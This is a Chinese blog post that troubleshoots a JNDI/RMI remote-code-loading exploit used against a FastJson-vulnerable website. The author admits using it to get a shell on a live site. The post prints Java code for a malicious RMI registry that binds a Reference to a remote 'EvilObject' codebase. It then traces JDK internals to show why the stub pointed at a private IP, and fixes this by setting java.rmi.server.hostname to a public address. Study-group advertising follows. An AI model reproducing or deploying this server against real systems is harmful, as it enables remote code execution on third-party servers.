程序员

RMI ReferenceWrapper_Stub With H

2019-04-26  本文已影响2人  编程小世界

去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。

最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。

失败原因

当时使用的启动rmi服务的java代码。

RMIService.java

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); }}

RMI在绑定refObjWrapper时, 绑定的其实是refObjWrapper_Stub

启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。

在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。

RMI ReferenceWrapper_Stub

在实例化ReferenceWrapper_Stub时,

Stringvar7 = resampleLocalHost();if(var6 ==null) {    var3 =newTCPEndpoint(var7, var0, var1, var2);    var6 =newLinkedList();    var6.add(var3);    var3.listenPort = var0;    var3.transport =newTCPTransport(var6);    localEndpoints.put(var5, var6);if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {        TCPTransport.tcpLog.log(Log.BRIEF,"created local endpoint for socket factory "+ var2 +" on port "+ var0);    }}else{    synchronized(var6) {        var3 = (TCPEndpoint)var6.getLast();Stringvar9 = var3.host;intvar10 = var3.port;        TCPTransport var11 = var3.transport;if(var7 !=null&& !var7.equals(var9)) {if(var10 !=0) {                var6.clear();            }            var3 =newTCPEndpoint(var7, var10, var1, var2);            var3.listenPort = var0;            var3.transport = var11;            var6.add(var3);        }    }}

通过resampleLocalHost来获取 Reference 要引用到的ip

private static StringresampleLocalHost(){    String var0 = getHostnameProperty();    Map var1 =localEndpoints;    synchronized(localEndpoints) {if(var0 != null) {if(!localHostKnown) {setLocalHost(var0);            }elseif(!var0.equals(localHost)) {localHost = var0;if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {                    TCPTransport.tcpLog.log(Log.BRIEF,"updated local hostname to: "+localHost);                }            }        }returnlocalHost;    }}

首先尝试使用getHostnameProperty来获取ip

privatestaticStringgetHostnameProperty(){return(String)AccessController.doPrivileged(newGetPropertyAction("java.rmi.server.hostname"));}

但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。

当从getHostnameProperty获取ip失败时, 直接返回localhost属性。

localhost属性在静态方法中被设置。

static {if(localHost == null) {        try {            InetAddress var0 = InetAddress.getLocalHost();            byte[] var1 = var0.getAddress();if(var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {localHostKnown =false;            }if(getBoolean("java.rmi.server.useLocalHostName")) {localHost = TCPEndpoint.FQDN.attemptFQDN(var0);            }else{localHost = var0.getHostAddress();            }        } catch (Exception var2) {localHostKnown =false;localHost = null;        }    }if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {        TCPTransport.tcpLog.log(Log.BRIEF,"localHostKnown = "+localHostKnown +", localHost = "+localHost);    }localEndpoints = new HashMap();}

这里使用了InetAddress.getLocalHost()来获取ip

publicstaticInetAddressgetLocalHost()throwsUnknownHostException{    SecurityManager security = System.getSecurityManager();try{        String local = impl.getLocalHostName();// 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。if(security !=null) {            security.checkConnect(local, -1);        }if(local.equals("localhost")) {returnimpl.loopbackAddress();        }        InetAddress ret =null;synchronized(cacheLock) {longnow = System.currentTimeMillis();if(cachedLocalHost !=null) {if((now - cacheTime) < maxCacheTime)// Less than 5s old?ret = cachedLocalHost;elsecachedLocalHost =null;            }// we are calling getAddressesFromNameService directly// to avoid getting localHost from cacheif(ret ==null) {                InetAddress[] localAddrs;try{                    localAddrs =                        InetAddress.getAddressesFromNameService(local,null);//使用该方法获取ip,如果hostname是域名,会把域名转换为对应ip//如果hostname不合法, 返回各网卡的ip。}catch(UnknownHostException uhe) {// Rethrow with a more informative error message.UnknownHostException uhe2 =newUnknownHostException(local +": "+                                                uhe.getMessage());                    uhe2.initCause(uhe);throwuhe2;                }                cachedLocalHost = localAddrs[0];// get en0cacheTime = now;                ret = localAddrs[0];            }        }returnret;    }catch(java.lang.SecurityException e) {returnimpl.loopbackAddress();    }}

由于ECS的hostname一般都长这个样子

所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是获取的en0的ip,

就成了一个内网ip, 导致访问引用失败。

这里只要把Reference引用到公网ip上 就能成功利用了。

所以以前可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,很麻烦。

从上面可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。

所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{System.setProperty("java.rmi.server.hostname","你的公网ip");Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");        registry.bind("refObj", refObjWrapper);    }}

再用nmap扫描, 就能够发现已经变为公网ip了。

进群:697699179可以获取Java各类入门学习资料!

这是我的微信公众号【编程study】各位大佬有空可以关注下,每天更新Java学习方法,感谢!

学习中遇到问题有不明白的地方,推荐加小编Java学习群:697699179内有视频教程 ,直播课程 ,等学习资料,期待你的加入

上一篇下一篇

猜你喜欢

热点阅读